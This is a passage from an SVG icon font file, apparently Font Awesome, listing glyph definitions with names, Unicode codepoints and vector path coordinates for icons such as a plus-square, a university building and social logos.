q14 0 23 -9t9 -23v-181l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-93l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-487q188 13 318 151t130 328q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
    <glyph glyph-name="plus_square_o" unicode="&#xf196;" horiz-adv-x="1408" 
d="M1152 736v-64q0 -14 -9 -23t-23 -9h-352v-352q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v352h-352q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h352v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-352h352q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832
q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_382" unicode="&#xf197;" horiz-adv-x="2176" 
d="M620 416q-110 -64 -268 -64h-128v64h-64q-13 0 -22.5 23.5t-9.5 56.5q0 24 7 49q-58 2 -96.5 10.5t-38.5 20.5t38.5 20.5t96.5 10.5q-7 25 -7 49q0 33 9.5 56.5t22.5 23.5h64v64h128q158 0 268 -64h1113q42 -7 106.5 -18t80.5 -14q89 -15 150 -40.5t83.5 -47.5t22.5 -40
t-22.5 -40t-83.5 -47.5t-150 -40.5q-16 -3 -80.5 -14t-106.5 -18h-1113zM1739 668q53 -36 53 -92t-53 -92l81 -30q68 48 68 122t-68 122zM625 400h1015q-217 -38 -456 -80q-57 0 -113 -24t-83 -48l-28 -24l-288 -288q-26 -26 -70.5 -45t-89.5 -19h-96l-93 464h29
q157 0 273 64zM352 816h-29l93 464h96q46 0 90 -19t70 -45l288 -288q4 -4 11 -10.5t30.5 -23t48.5 -29t61.5 -23t72.5 -10.5l456 -80h-1015q-116 64 -273 64z" />
    <glyph glyph-name="_383" unicode="&#xf198;" horiz-adv-x="1664" 
d="M1519 760q62 0 103.5 -40.5t41.5 -101.5q0 -97 -93 -130l-172 -59l56 -167q7 -21 7 -47q0 -59 -42 -102t-101 -43q-47 0 -85.5 27t-53.5 72l-55 165l-310 -106l55 -164q8 -24 8 -47q0 -59 -42 -102t-102 -43q-47 0 -85 27t-53 72l-55 163l-153 -53q-29 -9 -50 -9
q-61 0 -101.5 40t-40.5 101q0 47 27.5 85t71.5 53l156 53l-105 313l-156 -54q-26 -8 -48 -8q-60 0 -101 40.5t-41 100.5q0 47 27.5 85t71.5 53l157 53l-53 159q-8 24 -8 47q0 60 42 102.5t102 42.5q47 0 85 -27t53 -72l54 -160l310 105l-54 160q-8 24 -8 47q0 59 42.5 102
t101.5 43q47 0 85.5 -27.5t53.5 -71.5l53 -161l162 55q21 6 43 6q60 0 102.5 -39.5t42.5 -98.5q0 -45 -30 -81.5t-74 -51.5l-157 -54l105 -316l164 56q24 8 46 8zM725 498l310 105l-105 315l-310 -107z" />
    <glyph glyph-name="_384" unicode="&#xf199;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM1280 352v436q-31 -35 -64 -55q-34 -22 -132.5 -85t-151.5 -99q-98 -69 -164 -69v0v0q-66 0 -164 69
q-47 32 -142 92.5t-142 92.5q-12 8 -33 27t-31 27v-436q0 -40 28 -68t68 -28h832q40 0 68 28t28 68zM1280 925q0 41 -27.5 70t-68.5 29h-832q-40 0 -68 -28t-28 -68q0 -37 30.5 -76.5t67.5 -64.5q47 -32 137.5 -89t129.5 -83q3 -2 17 -11.5t21 -14t21 -13t23.5 -13
t21.5 -9.5t22.5 -7.5t20.5 -2.5t20.5 2.5t22.5 7.5t21.5 9.5t23.5 13t21 13t21 14t17 11.5l267 174q35 23 66.5 62.5t31.5 73.5z" />
    <glyph glyph-name="_385" unicode="&#xf19a;" horiz-adv-x="1792" 
d="M127 640q0 163 67 313l367 -1005q-196 95 -315 281t-119 411zM1415 679q0 -19 -2.5 -38.5t-10 -49.5t-11.5 -44t-17.5 -59t-17.5 -58l-76 -256l-278 826q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-75 1 -202 10q-12 1 -20.5 -5t-11.5 -15t-1.5 -18.5t9 -16.5
t19.5 -8l80 -8l120 -328l-168 -504l-280 832q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-7 0 -23 0.5t-26 0.5q105 160 274.5 253.5t367.5 93.5q147 0 280.5 -53t238.5 -149h-10q-55 0 -92 -40.5t-37 -95.5q0 -12 2 -24t4 -21.5t8 -23t9 -21t12 -22.5t12.5 -21
t14.5 -24t14 -23q63 -107 63 -212zM909 573l237 -647q1 -6 5 -11q-126 -44 -255 -44q-112 0 -217 32zM1570 1009q95 -174 95 -369q0 -209 -104 -385.5t-279 -278.5l235 678q59 169 59 276q0 42 -6 79zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286
t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 -215q173 0 331.5 68t273 182.5t182.5 273t68 331.5t-68 331.5t-182.5 273t-273 182.5t-331.5 68t-331.5 -68t-273 -182.5t-182.5 -273t-68 -331.5t68 -331.5t182.5 -273
t273 -182.5t331.5 -68z" />
    <glyph glyph-name="_386" unicode="&#xf19b;" horiz-adv-x="1792" 
d="M1086 1536v-1536l-272 -128q-228 20 -414 102t-293 208.5t-107 272.5q0 140 100.5 263.5t275 205.5t391.5 108v-172q-217 -38 -356.5 -150t-139.5 -255q0 -152 154.5 -267t388.5 -145v1360zM1755 954l37 -390l-525 114l147 83q-119 70 -280 99v172q277 -33 481 -157z" />
    <glyph glyph-name="_387" unicode="&#xf19c;" horiz-adv-x="2048" 
d="M960 1536l960 -384v-128h-128q0 -26 -20.5 -45t-48.5 -19h-1526q-28 0 -48.5 19t-20.5 45h-128v128zM256 896h256v-768h128v768h256v-768h128v768h256v-768h128v768h256v-768h59q28 0 48.5 -19t20.5 -45v-64h-1664v64q0 26 20.5 45t48.5 19h59v768zM1851 -64
q28 0 48.5 -19t20.5 -45v-128h-1920v128q0 26 20.5 45t48.5 19h1782z" />
    <glyph glyph-name="_388" unicode="&#xf19d;" horiz-adv-x="2304" 
d="M1774 700l18 -316q4 -69 -82 -128t-235 -93.5t-323 -34.5t-323 34.5t-235 93.5t-82 128l18 316l574 -181q22 -7 48 -7t48 7zM2304 1024q0 -23 -22 -31l-1120 -352q-4 -1 -10 -1t-10 1l-652 206q-43 -34 -71 -111.5t-34 -178.5q63 -36 63 -109q0 -69 -58 -107l58 -433
q2 -14 -8 -25q-9 -11 -24 -11h-192q-15 0 -24 11q-10 11 -8 25l58 433q-58 38 -58 107q0 73 65 111q11 207 98 330l-333 104q-22 8 -22 31t22 31l1120 352q4 1 10 1t10 -1l1120 -352q22 -8 22 -31z" />
    <glyph glyph-name="_389" unicode="&#xf19e;" 
d="M859 579l13 -707q-62 11 -105 11q-41 0 -105 -11l13 707q-40 69 -168.5 295.5t-216.5 374.5t-181 287q58 -15 108 -15q44 0 111 15q63 -111 133.5 -229.5t167 -276.5t138.5 -227q37 61 109.5 177.5t117.5 190t105 176t107 189.5q54 -14 107 -14q56 0 114 14v0
q-28 -39 -60 -88.5t-49.5 -78.5t-56.5 -96t-49 -84q-146 -248 -353 -610z" />
    <glyph glyph-name="uniF1A0" unicode="&#xf1a0;" 
d="M768 750h725q12 -67 12 -128q0 -217 -91 -387.5t-259.5 -266.5t-386.5 -96q-157 0 -299 60.5t-245 163.5t-163.5 245t-60.5 299t60.5 299t163.5 245t245 163.5t299 60.5q300 0 515 -201l-209 -201q-123 119 -306 119q-129 0 -238.5 -65t-173.5 -176.5t-64 -243.5
t64 -243.5t173.5 -176.5t238.5 -65q87 0 160 24t120 60t82 82t51.5 87t22.5 78h-436v264z" />
    <glyph glyph-name="f1a1" unicode="&#xf1a1;" horiz-adv-x="1792" 
d="M1095 369q16 -16 0 -31q-62 -62 -199 -62t-199 62q-16 15 0 31q6 6 15 6t15 -6q48 -49 169 -49q120 0 169 49q6 6 15 6t15 -6zM788 550q0 -37 -26 -63t-63 -26t-63.5 26t-26.5 63q0 38 26.5 64t63.5 26t63 -26.5t26 -63.5zM1183 550q0 -37 -26.5 -63t-63.5 -26t-63 26
t-26 63t26 63.5t63 26.5t63.5 -26t26.5 -64zM1434 670q0 49 -35 84t-85 35t-86 -36q-130 90 -311 96l63 283l200 -45q0 -37 26 -63t63 -26t63.5 26.5t26.5 63.5t-26.5 63.5t-63.5 26.5q-54 0 -80 -50l-221 49q-19 5 -25 -16l-69 -312q-180 -7 -309 -97q-35 37 -87 37
q-50 0 -85 -35t-35 -84q0 -35 18.5 -64t49.5 -44q-6 -27 -6 -56q0 -142 140 -243t337 -101q198 0 338 101t140 243q0 32 -7 57q30 15 48 43.5t18 63.5zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191
t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_392" unicode="&#xf1a2;" 
d="M939 407q13 -13 0 -26q-53 -53 -171 -53t-171 53q-13 13 0 26q5 6 13 6t13 -6q42 -42 145 -42t145 42q5 6 13 6t13 -6zM676 563q0 -31 -23 -54t-54 -23t-54 23t-23 54q0 32 22.5 54.5t54.5 22.5t54.5 -22.5t22.5 -54.5zM1014 563q0 -31 -23 -54t-54 -23t-54 23t-23 54
q0 32 22.5 54.5t54.5 22.5t54.5 -22.5t22.5 -54.5zM1229 666q0 42 -30 72t-73 30q-42 0 -73 -31q-113 78 -267 82l54 243l171 -39q1 -32 23.5 -54t53.5 -22q32 0 54.5 22.5t22.5 54.5t-22.5 54.5t-54.5 22.5q-48 0 -69 -43l-189 42q-17 5 -21 -13l-60 -268q-154 -6 -265 -83
q-30 32 -74 32q-43 0 -73 -30t-30 -72q0 -30 16 -55t42 -38q-5 -25 -5 -48q0 -122 120 -208.5t289 -86.5q170 0 290 86.5t120 208.5q0 25 -6 49q25 13 40.5 37.5t15.5 54.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_393" unicode="&#xf1a3;" 
d="M866 697l90 27v62q0 79 -58 135t-138 56t-138 -55.5t-58 -134.5v-283q0 -20 -14 -33.5t-33 -13.5t-32.5 13.5t-13.5 33.5v120h-151v-122q0 -82 57.5 -139t139.5 -57q81 0 138.5 56.5t57.5 136.5v280q0 19 13.5 33t33.5 14q19 0 32.5 -14t13.5 -33v-54zM1199 502v122h-150
v-126q0 -20 -13.5 -33.5t-33.5 -13.5q-19 0 -32.5 14t-13.5 33v123l-90 -26l-60 28v-123q0 -80 58 -137t139 -57t138.5 57t57.5 139zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103
t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="f1a4" unicode="&#xf1a4;" horiz-adv-x="1920" 
d="M1062 824v118q0 42 -30 72t-72 30t-72 -30t-30 -72v-612q0 -175 -126 -299t-303 -124q-178 0 -303.5 125.5t-125.5 303.5v266h328v-262q0 -43 30 -72.5t72 -29.5t72 29.5t30 72.5v620q0 171 126.5 292t301.5 121q176 0 302 -122t126 -294v-136l-195 -58zM1592 602h328
v-266q0 -178 -125.5 -303.5t-303.5 -125.5q-177 0 -303 124.5t-126 300.5v268l131 -61l195 58v-270q0 -42 30 -71.5t72 -29.5t72 29.5t30 71.5v275z" />
    <glyph glyph-name="_395" unicode="&#xf1a5;" 
d="M1472 160v480h-704v704h-480q-93 0 -158.5 -65.5t-65.5 -158.5v-480h704v-704h480q93 0 158.5 65.5t65.5 158.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="_396" unicode="&#xf1a6;" horiz-adv-x="2048" 
d="M328 1254h204v-983h-532v697h328v286zM328 435v369h-123v-369h123zM614 968v-697h205v697h-205zM614 1254v-204h205v204h-205zM901 968h533v-942h-533v163h328v82h-328v697zM1229 435v369h-123v-369h123zM1516 968h532v-942h-532v163h327v82h-327v697zM1843 435v369h-123
v-369h123z" />
    <glyph glyph-name="_397" unicode="&#xf1a7;" 
d="M1046 516q0 -64 -38 -109t-91 -45q-43 0 -70 15v277q28 17 70 17q53 0 91 -45.5t38 -109.5zM703 944q0 -64 -38 -109.5t-91 -45.5q-43 0 -70 15v277q28 17 70 17q53 0 91 -45t38 -109zM1265 513q0 134 -88 229t-213 95q-20 0 -39 -3q-23 -78 -78 -136q-87 -95 -211 -101
v-636l211 41v206q51 -19 117 -19q125 0 213 95t88 229zM922 940q0 134 -88.5 229t-213.5 95q-74 0 -141 -36h-186v-840l211 41v206q55 -19 116 -19q125 0 213.5 95t88.5 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_398" unicode="&#xf1a8;" horiz-adv-x="2038" 
d="M1222 607q75 3 143.5 -20.5t118 -58.5t101 -94.5t84 -108t75.5 -120.5q33 -56 78.5 -109t75.5 -80.5t99 -88.5q-48 -30 -108.5 -57.5t-138.5 -59t-114 -47.5q-44 37 -74 115t-43.5 164.5t-33 180.5t-42.5 168.5t-72.5 123t-122.5 48.5l-10 -2l-6 -4q4 -5 13 -14
q6 -5 28 -23.5t25.5 -22t19 -18t18 -20.5t11.5 -21t10.5 -27.5t4.5 -31t4 -40.5l1 -33q1 -26 -2.5 -57.5t-7.5 -52t-12.5 -58.5t-11.5 -53q-35 1 -101 -9.5t-98 -10.5q-39 0 -72 10q-2 16 -2 47q0 74 3 96q2 13 31.5 41.5t57 59t26.5 51.5q-24 2 -43 -24
q-36 -53 -111.5 -99.5t-136.5 -46.5q-25 0 -75.5 63t-106.5 139.5t-84 96.5q-6 4 -27 30q-482 -112 -513 -112q-16 0 -28 11t-12 27q0 15 8.5 26.5t22.5 14.5l486 106q-8 14 -8 25t5.5 17.5t16 11.5t20 7t23 4.5t18.5 4.5q4 1 15.5 7.5t17.5 6.5q15 0 28 -16t20 -33
q163 37 172 37q17 0 29.5 -11t12.5 -28q0 -15 -8.5 -26t-23.5 -14l-182 -40l-1 -16q-1 -26 81.5 -117.5t104.5 -91.5q47 0 119 80t72 129q0 36 -23.5 53t-51 18.5t-51 11.5t-23.5 34q0 16 10 34l-68 19q43 44 43 117q0 26 -5 58q82 16 144 16q44 0 71.5 -1.5t48.5 -8.5
t31 -13.5t20.5 -24.5t15.5 -33.5t17 -47.5t24 -60l50 25q-3 -40 -23 -60t-42.5 -21t-40 -6.5t-16.5 -20.5zM1282 842q-5 5 -13.5 15.5t-12 14.5t-10.5 11.5t-10 10.5l-8 8t-8.5 7.5t-8 5t-8.5 4.5q-7 3 -14.5 5t-20.5 2.5t-22 0.5h-32.5h-37.5q-126 0 -217 -43
q16 30 36 46.5t54 29.5t65.5 36t46 36.5t50 55t43.5 50.5q12 -9 28 -31.5t32 -36.5t38 -13l12 1v-76l22 -1q247 95 371 190q28 21 50 39t42.5 37.5t33 31t29.5 34t24 31t24.5 37t23 38t27 47.5t29.5 53l7 9q-2 -53 -43 -139q-79 -165 -205 -264t-306 -142q-14 -3 -42 -7.5
t-50 -9.5t-39 -14q3 -19 24.5 -46t21.5 -34q0 -11 -26 -30zM1061 -79q39 26 131.5 47.5t146.5 21.5q9 0 22.5 -15.5t28 -42.5t26 -50t24 -51t14.5 -33q-121 -45 -244 -45q-61 0 -125 11zM822 568l48 12l109 -177l-73 -48zM1323 51q3 -15 3 -16q0 -7 -17.5 -14.5t-46 -13
t-54 -9.5t-53.5 -7.5t-32 -4.5l-7 43q21 2 60.5 8.5t72 10t60.5 3.5h14zM866 679l-96 -20l-6 17q10 1 32.5 7t34.5 6q19 0 35 -10zM1061 45h31l10 -83l-41 -12v95zM1950 1535v1v-1zM1950 1535l-1 -5l-2 -2l1 3zM1950 1535l1 1z" />
    <glyph glyph-name="_399" unicode="&#xf1a9;" 
d="M1167 -50q-5 19 -24 5q-30 -22 -87 -39t-131 -17q-129 0 -193 49q-5 4 -13 4q-11 0 -26 -12q-7 -6 -7.5 -16t7.5 -20q34 -32 87.5 -46t102.5 -12.5t99 4.5q41 4 84.5 20.5t65 30t28.5 20.5q12 12 7 29zM1128 65q-19 47 -39 61q-23 15 -76 15q-47 0 -71 -10
q-29 -12 -78 -56q-26 -24 -12 -44q9 -8 17.5 -4.5t31.5 23.5q3 2 10.5 8.5t10.5 8.5t10 7t11.5 7t12.5 5t15 4.5t16.5 2.5t20.5 1q27 0 44.5 -7.5t23 -14.5t13.5 -22q10 -17 12.5 -20t12.5 1q23 12 14 34zM1483 346q0 22 -5 44.5t-16.5 45t-34 36.5t-52.5 14
q-33 0 -97 -41.5t-129 -83.5t-101 -42q-27 -1 -63.5 19t-76 49t-83.5 58t-100 49t-111 19q-115 -1 -197 -78.5t-84 -178.5q-2 -112 74 -164q29 -20 62.5 -28.5t103.5 -8.5q57 0 132 32.5t134 71t120 70.5t93 31q26 -1 65 -31.5t71.5 -67t68 -67.5t55.5 -32q35 -3 58.5 14
t55.5 63q28 41 42.5 101t14.5 106zM1536 506q0 -164 -62 -304.5t-166 -236t-242.5 -149.5t-290.5 -54t-293 57.5t-247.5 157t-170.5 241.5t-64 302q0 89 19.5 172.5t49 145.5t70.5 118.5t78.5 94t78.5 69.5t64.5 46.5t42.5 24.5q14 8 51 26.5t54.5 28.5t48 30t60.5 44
q36 28 58 72.5t30 125.5q129 -155 186 -193q44 -29 130 -68t129 -66q21 -13 39 -25t60.5 -46.5t76 -70.5t75 -95t69 -122t47 -148.5t19.5 -177.5z" />
    <glyph glyph-name="_400" unicode="&#xf1aa;" 
d="M1070 463l-160 -160l-151 -152l-30 -30q-65 -64 -151.5 -87t-171.5 -2q-16 -70 -72 -115t-129 -45q-85 0 -145 60.5t-60 145.5q0 72 44.5 128t113.5 72q-22 86 1 173t88 152l12 12l151 -152l-11 -11q-37 -37 -37 -89t37 -90q37 -37 89 -37t89 37l30 30l151 152l161 160z
M729 1145l12 -12l-152 -152l-12 12q-37 37 -89 37t-89 -37t-37 -89.5t37 -89.5l29 -29l152 -152l160 -160l-151 -152l-161 160l-151 152l-30 30q-68 67 -90 159.5t5 179.5q-70 15 -115 71t-45 129q0 85 60 145.5t145 60.5q76 0 133.5 -49t69.5 -123q84 20 169.5 -3.5
t149.5 -87.5zM1536 78q0 -85 -60 -145.5t-145 -60.5q-74 0 -131 47t-71 118q-86 -28 -179.5 -6t-161.5 90l-11 12l151 152l12 -12q37 -37 89 -37t89 37t37 89t-37 89l-30 30l-152 152l-160 160l152 152l160 -160l152 -152l29 -30q64 -64 87.5 -150.5t2.5 -171.5
q76 -11 126.5 -68.5t50.5 -134.5zM1534 1202q0 -77 -51 -135t-127 -69q26 -85 3 -176.5t-90 -158.5l-12 -12l-151 152l12 12q37 37 37 89t-37 89t-89 37t-89 -37l-30 -30l-152 -152l-160 -160l-152 152l161 160l152 152l29 30q67 67 159 89.5t178 -3.5q11 75 68.5 126
t135.5 51q85 0 145 -60.5t60 -145.5z" />
    <glyph glyph-name="f1ab" unicode="&#xf1ab;" 
d="M654 458q-1 -3 -12.5 0.5t-31.5 11.5l-20 9q-44 20 -87 49q-7 5 -41 31.5t-38 28.5q-67 -103 -134 -181q-81 -95 -105 -110q-4 -2 -19.5 -4t-18.5 0q6 4 82 92q21 24 85.5 115t78.5 118q17 30 51 98.5t36 77.5q-8 1 -110 -33q-8 -2 -27.5 -7.5t-34.5 -9.5t-17 -5
q-2 -2 -2 -10.5t-1 -9.5q-5 -10 -31 -15q-23 -7 -47 0q-18 4 -28 21q-4 6 -5 23q6 2 24.5 5t29.5 6q58 16 105 32q100 35 102 35q10 2 43 19.5t44 21.5q9 3 21.5 8t14.5 5.5t6 -0.5q2 -12 -1 -33q0 -2 -12.5 -27t-26.5 -53.5t-17 -33.5q-25 -50 -77 -131l64 -28
q12 -6 74.5 -32t67.5 -28q4 -1 10.5 -25.5t4.5 -30.5zM449 944q3 -15 -4 -28q-12 -23 -50 -38q-30 -12 -60 -12q-26 3 -49 26q-14 15 -18 41l1 3q3 -3 19.5 -5t26.5 0t58 16q36 12 55 14q17 0 21 -17zM1147 815l63 -227l-139 42zM39 15l694 232v1032l-694 -233v-1031z
M1280 332l102 -31l-181 657l-100 31l-216 -536l102 -31l45 110l211 -65zM777 1294l573 -184v380zM1088 -29l158 -13l-54 -160l-40 66q-130 -83 -276 -108q-58 -12 -91 -12h-84q-79 0 -199.5 39t-183.5 85q-8 7 -8 16q0 8 5 13.5t13 5.5q4 0 18 -7.5t30.5 -16.5t20.5 -11
q73 -37 159.5 -61.5t157.5 -24.5q95 0 167 14.5t157 50.5q15 7 30.5 15.5t34 19t28.5 16.5zM1536 1050v-1079l-774 246q-14 -6 -375 -127.5t-368 -121.5q-13 0 -18 13q0 1 -1 3v1078q3 9 4 10q5 6 20 11q107 36 149 50v384l558 -198q2 0 160.5 55t316 108.5t161.5 53.5
q20 0 20 -21v-418z" />
    <glyph glyph-name="_402" unicode="&#xf1ac;" horiz-adv-x="1792" 
d="M288 1152q66 0 113 -47t47 -113v-1088q0 -66 -47 -113t-113 -47h-128q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h128zM1664 989q58 -34 93 -93t35 -128v-768q0 -106 -75 -181t-181 -75h-864q-66 0 -113 47t-47 113v1536q0 40 28 68t68 28h672q40 0 88 -20t76 -48
l152 -152q28 -28 48 -76t20 -88v-163zM928 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 512v128q0 14 -9 23
t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128
q14 0 23 9t9 23zM1184 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 256v128q0 14 -9 23t-23 9h-128
q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1536 896v256h-160q-40 0 -68 28t-28 68v160h-640v-512h896z" />
    <glyph glyph-name="_403" unicode="&#xf1ad;" 
d="M1344 1536q26 0 45 -19t19 -45v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280zM512 1248v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 992v-64q0 -14 9 -23t23 -9h64q14 0 23 9
t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 736v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 480v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 160v64
q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64
q14 0 23 9t9 23zM384 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 -96v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9
t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM896 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 928v64
q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 160v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64
q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9
t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23z" />
    <glyph glyph-name="_404" unicode="&#xf1ae;" horiz-adv-x="1280" 
d="M1188 988l-292 -292v-824q0 -46 -33 -79t-79 -33t-79 33t-33 79v384h-64v-384q0 -46 -33 -79t-79 -33t-79 33t-33 79v824l-292 292q-28 28 -28 68t28 68q29 28 68.5 28t67.5 -28l228 -228h368l228 228q28 28 68 28t68 -28q28 -29 28 -68.5t-28 -67.5zM864 1152
q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="uniF1B1" unicode="&#xf1b0;" horiz-adv-x="1664" 
d="M780 1064q0 -60 -19 -113.5t-63 -92.5t-105 -39q-76 0 -138 57.5t-92 135.5t-30 151q0 60 19 113.5t63 92.5t105 39q77 0 138.5 -57.5t91.5 -135t30 -151.5zM438 581q0 -80 -42 -139t-119 -59q-76 0 -141.5 55.5t-100.5 133.5t-35 152q0 80 42 139.5t119 59.5
q76 0 141.5 -55.5t100.5 -134t35 -152.5zM832 608q118 0 255 -97.5t229 -237t92 -254.5q0 -46 -17 -76.5t-48.5 -45t-64.5 -20t-76 -5.5q-68 0 -187.5 45t-182.5 45q-66 0 -192.5 -44.5t-200.5 -44.5q-183 0 -183 146q0 86 56 191.5t139.5 192.5t187.5 146t193 59zM1071 819
q-61 0 -105 39t-63 92.5t-19 113.5q0 74 30 151.5t91.5 135t138.5 57.5q61 0 105 -39t63 -92.5t19 -113.5q0 -73 -30 -151t-92 -135.5t-138 -57.5zM1503 923q77 0 119 -59.5t42 -139.5q0 -74 -35 -152t-100.5 -133.5t-141.5 -55.5q-77 0 -119 59t-42 139q0 74 35 152.5
t100.5 134t141.5 55.5z" />
    <glyph glyph-name="_406" unicode="&#xf1b1;" horiz-adv-x="768" 
d="M704 1008q0 -145 -57 -243.5t-152 -135.5l45 -821q2 -26 -16 -45t-44 -19h-192q-26 0 -44 19t-16 45l45 821q-95 37 -152 135.5t-57 243.5q0 128 42.5 249.5t117.5 200t160 78.5t160 -78.5t117.5 -200t42.5 -249.5z" />
    <glyph glyph-name="_407" unicode="&#xf1b2;" horiz-adv-x="1792" 
d="M896 -93l640 349v636l-640 -233v-752zM832 772l698 254l-698 254l-698 -254zM1664 1024v-768q0 -35 -18 -65t-49 -47l-704 -384q-28 -16 -61 -16t-61 16l-704 384q-31 17 -49 47t-18 65v768q0 40 23 73t61 47l704 256q22 8 44 8t44 -8l704 -256q38 -14 61 -47t23 -73z
" />
    <glyph glyph-name="_408" unicode="&#xf1b3;" horiz-adv-x="2304" 
d="M640 -96l384 192v314l-384 -164v-342zM576 358l404 173l-404 173l-404 -173zM1664 -96l384 192v314l-384 -164v-342zM1600 358l404 173l-404 173l-404 -173zM1152 651l384 165v266l-384 -164v-267zM1088 1030l441 189l-441 189l-441 -189zM2176 512v-416q0 -36 -19 -67
